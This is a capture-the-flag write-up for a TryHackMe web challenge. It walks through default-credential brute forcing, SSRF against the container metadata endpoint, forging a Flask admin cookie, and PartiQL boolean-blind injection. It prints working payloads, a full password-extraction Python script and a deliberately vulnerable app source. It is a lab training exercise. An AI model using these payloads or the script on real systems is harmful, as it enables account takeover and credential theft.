> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2026/love-at-first-breach-2026-advanced-track/cloud-nine.md).

# Cloud Nine

{% embed url="<https://tryhackme.com/room/lafbctf2026-advanced?taskNo=7&sharerId=60ac3149c3569700531794d7>" %}

***

## Scenario

> My Dearest Hacker,
>
> This Valentine's Day, Cupid has gone digital with Cupid's Arrow - a revolutionary web application that lets users shoot virtual arrows across a world map to forge connections between people. But Cupid has had a change of heart.
>
> Tired of playing matchmaker, the legendary deity has gone rogue and twisted their own creation into something sinister. What was meant to spread love is now being weaponized to break relationships apart. Couples worldwide are mysteriously drifting apart after their locations are targeted on the map, and Cupid is watching gleefully from above.
>
> Your mission: Investigate the Cupid's Arrow application, discover how this fallen angel is manipulating the system, and find the flag hidden in Cloud Nine - Cupid's secret administrative sanctuary where all relationships are controlled.
>
> Can you outsmart a rogue deity and stop this Valentine's Day catastrophe? Or will you fall victim to Cupid's corrupted arrows?
>
> `http://54.205.77.77:8080/`

## Summary

<details>

<summary>Summary</summary>

In Cloud Nine we begin by attacking a Flask-based web application running on port 8080. Initial testing shows no SQL injection on login, but brute-forcing default credentials reveals access as `guest`. Inspecting the Flask session cookie exposes that it contains serialized JSON with `user` and `admin` fields. Directory enumeration uncovers `/status/check`, which is vulnerable to SSRF. By querying the EC2 task metadata endpoint (`169.254.170.2`), we discover the public ECR image used to build the application. Pulling and running the container locally reveals the Flask `secret_key`, allowing us to forge an admin session cookie using `flask-unsign` and gain access to the `/admin` panel.

Inside the admin panel, we identify a DynamoDB-backed user management interface using PartiQL. The lookup query directly concatenates user input into the statement:

```
SELECT * FROM "cupid-users" WHERE username = '<input>'
```

This enables PartiQL injection. Although automated tools like sqlmap do not support PartiQL, manual boolean-based blind injection succeeds. By leveraging DynamoDB functions such as `begins_with(password, '<prefix>')`, we build a character-by-character extraction method. Using crafted payloads that trigger different application responses (“User loaded” vs. “User not found”), we enumerate usernames and reconstruct user passwords through blind prefix testing.

Automating the process with a custom extraction script allows us to recover multiple credentials including the flag.

</details>

In Cloud Nine, we have specified the web service on port `8080`. We visit the page and see a login screen. Initial tests for SQL injection show no effect.

<figure><img src="/files/H0AVEGLHS870q6CD25MD" alt=""><figcaption></figcaption></figure>

User enumeration is not possible based on the messages displayed when an incorrect entry is made.

<figure><img src="/files/xpetH2ktqlAAkPIyD4m4" alt=""><figcaption></figcaption></figure>

## Access as guest

The next thing we can try is default credentials, such as `admin:admin`. We intercept a login request to derive our hydra command from it.

<figure><img src="/files/q51V78U9ykqhszYsW4Py" alt=""><figcaption></figcaption></figure>

We use the following hydra command and are able to get the credentials fpr the user guest.

{% code overflow="wrap" %}

```
hydra -C /usr/share/wordlists/seclists/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt 54.205.77.77 -s 8080 http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials."
```

{% endcode %}

<figure><img src="/files/kp3Qe61cV14nSiBz4vvV" alt=""><figcaption></figcaption></figure>

We log in, but can't find anything on the dashboard. We do not have access to the `admin` panel.

<figure><img src="/files/3fdYVyOAfiYgj7yuN0iV" alt=""><figcaption></figcaption></figure>

## Access as gues (admin privileges)

We look at our session cookie, which is a Flask cookie...

<figure><img src="/files/crw4yrdcFlJ71e3Z65c6" alt=""><figcaption></figcaption></figure>

... that contains our `user` and `role`.

<figure><img src="/files/PmixOebsnS3kMFXsvK1W" alt=""><figcaption></figcaption></figure>

```
{"admin":false,"user":"guest"}
```

Since we cannot find any other pages besides the login page, we will first try a directory scan. The pages `/status`, `/status/env`, and `admin` stand out here. Unfortunately, rate limiting failed. We could have seen more here, but more on that later.

{% code overflow="wrap" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u 'http://54.205.77.77:8080/'
```

{% endcode %}

<figure><img src="/files/PeZ4lRjr2Dr1BiMljmSE" alt=""><figcaption></figcaption></figure>

Via `/status/env`, we can see the hostname of the machine `ip-172-31-93-102.ec2.internal`. The hostname indicates that this is an AWS EC2 instance.&#x20;

That doesn't help us yet. If we already had internal access, we could access the AWS metadata of the instance and possibly obtain valuable environment variables.

AWS metadata is available via `169.254.169.254`, a link-local address that can only be accessed within the EC2 instance.

```
http://54.205.77.77:8080/status/env
```

<figure><img src="/files/Q8iQCGSjrfsayHtg9mT8" alt=""><figcaption></figcaption></figure>

We perform another directory scan on status. Previously, we saw that our requests were limited. We will proceed directly to bnei `/status`. And we have a hit on `/status/check`

{% code overflow="wrap" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u 'http://54.205.77.77:8080/'
```

{% endcode %}

<figure><img src="/files/6X7SNenApZQO3e8tnPbd" alt=""><figcaption></figcaption></figure>

When visiting the site, we are asked to provide a URL as a parameter.

```
http://54.205.77.77:8080/status/check
```

<figure><img src="/files/iZBFNyxNbBQ9QPKb0582" alt=""><figcaption></figcaption></figure>

We ask directly for the metadata as mentioned before.

```
curl 'http://54.205.77.77:8080/status/check?url=http://169.254.170.2/v2/metadata'| jq 
```

<figure><img src="/files/Pk4Q9F75ZlSLoXYTZh4T" alt=""><figcaption></figcaption></figure>

And we see a public image.

```
Image: public.ecr.aws/x2q4d0z7/cloudnine-app:latest
```

We pull this...

```
docker pull public.ecr.aws/x2q4d0z7/cloudnine-app:latest
```

... and run it in a safe environment to interact with it. In the source, we discover the secret that is used to sign the flask cookies. This could give us access to the admin panel.

```
docker run -it --rm public.ecr.aws/x2q4d0z7/cloudnine-app:latest /bin/sh
```

<figure><img src="/files/DEdyfZWGRfzz6TYk8CIx" alt=""><figcaption></figcaption></figure>

{% code title="app.py" overflow="wrap" lineNumbers="true" expandable="true" %}

```python
import os
import random
import sys
import time
import urllib.request

import boto3
from boto3.dynamodb.types import TypeDeserializer
from botocore.exceptions import ClientError
from flask import Flask, redirect, render_template, request, session, url_for

app = Flask(__name__)
app.secret_key = "REDACTED"

AWS_REGION = os.getenv("AWS_REGION", "us-east-1")
USERS_TABLE = os.getenv("USERS_TABLE", "cupid-users")
FLAG2 = os.getenv("FLAG2", "THM\{test_flag\}")

dynamodb = boto3.resource("dynamodb", region_name=AWS_REGION)
users_table = dynamodb.Table(USERS_TABLE)
_deserializer = TypeDeserializer()


def is_authenticated():
    return session.get("user") is not None


def is_admin():
    return session.get("admin") is True


def _deserialize_item(item):
    return {key: _deserializer.deserialize(value) for key, value in item.items()}


@app.get("/")
def home():
    if not is_authenticated():
        return redirect(url_for("login"))
    return render_template("app.html", username=session.get("user"))

# remember you can use these credentials to test the login page:
# username: test
# password: REDACTED
# FLAG1: THM{REDACTED}
@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get("username", "").strip()
        password = request.form.get("password", "").strip()
        if not username or not password:
            return render_template("login.html", error="Enter a username and password.")
        user = users_table.get_item(Key={"username": username}).get("Item")
        if not user or user.get("password") != password:
            return render_template("login.html", error="Invalid credentials.")
        session["user"] = username
        session["admin"] = bool(user.get("admin"))
        return redirect(url_for("home"))
    return render_template("login.html", error=None)

@app.post("/logout")
def logout():
    session.clear()
    return redirect(url_for("login"))


@app.route("/admin", methods=["GET", "POST"])
def admin():
    if not is_authenticated():
        return redirect(url_for("login"))
    if not is_admin():
        return redirect(url_for("home"))

    message = None
    target_user = None
    target_admin = False
    target_full_name = ""
    target_email = ""

    if request.method == "POST":
        action = request.form.get("action", "")
        username = request.form.get("username", "").strip()

        if not username:
            return render_template(
                "admin.html",
                message="Enter a username to continue.",
                target_user=None,
                target_admin=False,
            )

        if action == "lookup":
            response = dynamodb.meta.client.execute_statement(
                Statement="SELECT * FROM \"" + USERS_TABLE + "\" WHERE username = '" + username + "'"
            )
            print("-----" + username + "-----", file=sys.stderr)
            print(response, file=sys.stderr)
            items = response.get("Items") or []
            user = (items[0]) if items else None
            if not user:
                message = "User not found."
            else:
                target_user = username
                target_admin = bool(user.get("admin"))
                target_full_name = user.get("full_name", "")
                target_email = user.get("email", "")
                message = "User loaded."
        elif action == "update":
            password = request.form.get("password", "").strip()
            admin_flag = request.form.get("admin") == "on"
            full_name = request.form.get("full_name", "").strip()
            email = request.form.get("email", "").strip()

            update_expression = "SET admin = :admin"
            expression_values = {":admin": admin_flag}

            if password:
                update_expression += ", password = :password"
                expression_values[":password"] = password
            if full_name:
                update_expression += ", full_name = :full_name"
                expression_values[":full_name"] = full_name
            if email:
                update_expression += ", email = :email"
                expression_values[":email"] = email

            try:
                users_table.update_item(
                    Key={"username": username},
                    UpdateExpression=update_expression,
                    ExpressionAttributeValues=expression_values,
                    ConditionExpression="attribute_exists(username)",
                )
                message = "User updated."
                target_user = username
                target_admin = admin_flag
                target_full_name = full_name
                target_email = email
            except ClientError as exc:
                if exc.response.get("Error", {}).get("Code") == "ConditionalCheckFailedException":
                    message = "User not found."
                else:
                    message = "Update failed."
        else:
            message = "Unknown action."

    return render_template(
        "admin.html",
        message=message,
        target_user=target_user,
        target_admin=target_admin,
        target_full_name=target_full_name,
        target_email=target_email,
        flag=FLAG2,
    )


@app.post("/shoot")
def shoot():
    if not is_authenticated():
        return {"error": "unauthorized"}, 401
    payload = request.get_json(silent=True) or {}
    lat = float(payload.get("lat", 0.0))
    lng = float(payload.get("lng", 0.0))
    breakups = random.randint(1, 12)
    return {"lat": lat, "lng": lng, "breakups": breakups}


@app.get("/status")
def status():
    return render_template("status.html")


@app.get("/status/check")
def status_check():
    url = request.args.get("url", "").strip()
    if not url:
        return {"error": "url is required"}, 400

    start = time.time()
    try:
        with urllib.request.urlopen(url, timeout=5) as response:
            code = response.getcode()
            body_bytes = response.read(4096)
        ok = 200 <= code < 400
        error = None
        body = body_bytes.decode("utf-8", errors="replace")
    except Exception as exc:
        code = None
        ok = False
        error = str(exc)
        body = ""
    duration_ms = int((time.time() - start) * 1000)

    return {
        "url": url,
        "ok": ok,
        "status": code if code is not None else "error",
        "latency_ms": duration_ms,
        "error": error,
        "body": body,
    }


@app.get("/status/env")
def status_env():
    return {"env": [{"key": "HOSTNAME", "value": os.environ.get("HOSTNAME", "")}]}


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080, debug=False)
```

{% endcode %}

We also find another username and password, possibly the actual initial access to the web application and the first flag.

<figure><img src="/files/JttP1l4QWmqj4Soxqrm0" alt=""><figcaption></figcaption></figure>

We use Flask-Unsing to build an admin cookie using the secrets we found.

{% embed url="<https://github.com/Paradoxis/Flask-Unsign>" %}

{% code overflow="wrap" %}

```
flask-unsign --sign --cookie '{"admin": True,"user":"guest"}' --secret 'REDACTED'
```

{% endcode %}

<figure><img src="/files/PayJWENq7103FzyWCb8y" alt=""><figcaption></figcaption></figure>

We replace our session cookie with the one crafted, reload the page...

<figure><img src="/files/jIjc2CywQ4H4tOwwsttd" alt=""><figcaption></figcaption></figure>

... and visit the admin page.&#x20;

## Data Exfiltration

Here we have a user control.We can load users and edit their profiles. From the source previously gathered, we see that the app uses DynamoDB to store user data. To query DynamoDB PartiQL is used a AWS's SQL-like language for DynamoDB:

```
import boto3
from boto3.dynamodb.types import TypeDeserializer
```

```
dynamodb = boto3.resource("dynamodb", region_name=AWS_REGION)
users_table = dynamodb.Table(USERS_TABLE)
```

&#x20;Furthermore, we also see the second flag.

<figure><img src="/files/jJhyUPNWXgwDALo3wczW" alt=""><figcaption></figcaption></figure>

We ceck for non existing users...

<figure><img src="/files/H6F4UMJq9mwjxtZqLlJr" alt=""><figcaption></figcaption></figure>

... and existing ones and see different behaivoir.

<figure><img src="/files/KIKJ08Nx2b301Q8yoFSN" alt=""><figcaption></figcaption></figure>

When we test for SQL injection, we receive a server error, which strongly suggests that it is vulnerable to SQLI.

<figure><img src="/files/RBYJVbyDdoRn2H9s5fAT" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/EnRTgxnklunjhnLcKClt" alt=""><figcaption></figcaption></figure>

We capture the request for sqlmap.

<figure><img src="/files/zwZiUA1Q3P5i4HfPfwU1" alt=""><figcaption></figcaption></figure>

We also receive proof that the site is vulnerable to Boolean-based blind injection. However, SQLMap does not support PartiQL, so we must proceed manually.

```
sqlmap -r req.txt
```

<figure><img src="/files/cMAHU993DyRotveR32uW" alt=""><figcaption></figcaption></figure>

We create an SQL injection framework that still outputs the valid user guest

payload:

```
guest' OR '1'='1
```

original query:

```
Statement="SELECT * FROM \"" + USERS_TABLE + "\" WHERE username = '" + username + "'"
```

resulting query

```
SELECT * FROM "cupid-users" WHERE username = guest' OR '1'='1'
```

<figure><img src="/files/YC0rUAxeG3oBo9qxIsCs" alt=""><figcaption></figcaption></figure>

How can we leverate this to enumerate further users. We could query for the next smallest username after X. Unfortunately, we do not receive the usernames directly, but we do receive the emails from which we can derive them. After each username, we replace X with the username we believe we found in the email.

```
asdf' OR username > 'X ORDER BY username LIMIT 1
```

We start with an empty user... and find `bsmith`.

```
asdf' OR username > ' ORDER BY username LIMIT 1
```

<figure><img src="/files/i3ZznCSiw5CwOliCk8Dc" alt=""><figcaption></figcaption></figure>

We move on with `bsmith` and find demo.

```
asdf' OR username > 'bsmith ORDER BY username LIMIT 1
```

<figure><img src="/files/LZWQPx879I8fuJgiTjdu" alt=""><figcaption></figcaption></figure>

With guest we are able to detect `cupidtest`.

```
asdf' OR username > 'guest ORDER BY username LIMIT 1
```

<figure><img src="/files/iv0Fvfm4IFzT0YpBE3zl" alt=""><figcaption></figcaption></figure>

The following username was subsequently checked from the variants of the usernames from the email. The user `cupid` is also a valid candidate.

<figure><img src="/files/S6shFuzS7nsu35FUvFmF" alt=""><figcaption></figcaption></figure>

With the error-based approach, we could now test the entries in the user database.&#x20;

We have the following query from the source:&#x20;

```
Statement="SELECT * FROM \"" + USERS_TABLE + "\" WHERE username = '" + username + "'"
```

So we still inject into&#x20;

```
SELECT * FROM "cupid-users"
WHERE username = '<INPUT>'
```

With&#x20;

```
asdf' OR (username='guest' AND begins_with(password,'g')) OR '1'='2
```

The query becomes

```
SELECT * FROM "cupid-users"
WHERE username = 'asdf'
   OR (username='guest' AND begins_with(password,'g'))
   OR '1'='2'
```

Probing if the passwords starts with the given token for username guest.

If `guest` password starts with `g` → condition true → row returned → "User loaded."

If it does NOT start with `g` → condition false → no row → "User not found."

```
asdf' OR (username='guest' AND begins_with(password,'g')) OR '1'='2
```

<figure><img src="/files/CvTScwRVP5TXwh1LxVFJ" alt=""><figcaption></figcaption></figure>

```
asdf' OR (username='guest' AND begins_with(password,'a')) OR '1'='2
```

<figure><img src="/files/etFh7ngzDtN9DV9gMkMZ" alt=""><figcaption></figcaption></figure>

From this approach, we generate a script that ultimately probes the password based on errors. The script performs blind boolean extraction of a user's password by abusing a DynamoDB PartiQL injection in the `username` parameter. It incrementally tests prefixes using `begins_with(password, '<prefix>')` and detects correctness by checking whether the application returns `User loaded` reconstructing the password character by character.

{% code title="extract\_creds.py" overflow="wrap" lineNumbers="true" expandable="true" %}

```python
import requests
import string
import argparse

# =========================
# ARGUMENTS
# =========================

parser = argparse.ArgumentParser()
parser.add_argument("--url", required=True, help="Target admin endpoint")
parser.add_argument("--cookie", required=True, help="Session cookie value")
parser.add_argument("--user", required=True, help="Username to target")
args = parser.parse_args()

TARGET = args.url
SESSION_COOKIE = args.cookie
TARGET_USER = args.user

SUCCESS_STRING = "User loaded"

# Full printable charset (adjust if needed)
CHARSET = string.ascii_letters + string.digits + "_-{}!@#$%^&*()"

flag = ""

# =========================
# SESSION
# =========================

session = requests.Session()
session.cookies.set("session", SESSION_COOKIE)

print(f"[+] Extracting password for user: {TARGET_USER}")
print("[+] Starting blind extraction...\n")

# =========================
# EXTRACTION LOOP
# =========================

while True:
    found_char = False

    for c in CHARSET:
        test_prefix = flag + c

        payload = (
            f"asdf' OR "
            f"(username='{TARGET_USER}' AND begins_with(password,'{test_prefix}')) "
            f"OR '1'='2"
        )

        data = {
            "action": "lookup",
            "username": payload
        }

        response = session.post(TARGET, data=data)

        if SUCCESS_STRING in response.text:
            flag += c
            print(f"[+] Found so far: {flag}")
            found_char = True
            break

    if not found_char:
        print("\n[!] No more characters found.")
        print(f"[+] Final extracted value: {flag}")
        break

    # Optional early stop if flag format detected
    if flag.endswith("}"):
        print("\n🔥 Extraction complete:", flag)
        break
```

{% endcode %}

We run the script for our guest account and are able to retrieve the password.

{% code overflow="wrap" %}

```
python extract_creds.py --url http://54.205.77.77:8080/admin --cookie 'REDACTED' --user guest
```

{% endcode %}

<figure><img src="/files/6JUkRZZXRlYbeRTQ9cw6" alt=""><figcaption></figcaption></figure>

We do this also for the ther accounts and it turns out that the password for the user cupid is actually the third flag.

{% code overflow="wrap" %}

```
python extract_creds.py --url http://54.205.77.77:8080/admin --cookie 'REDACTED' --user cupid
```

{% endcode %}

<figure><img src="/files/8ZBbh4RHr43XMBE4iefk" alt=""><figcaption></figcaption></figure>
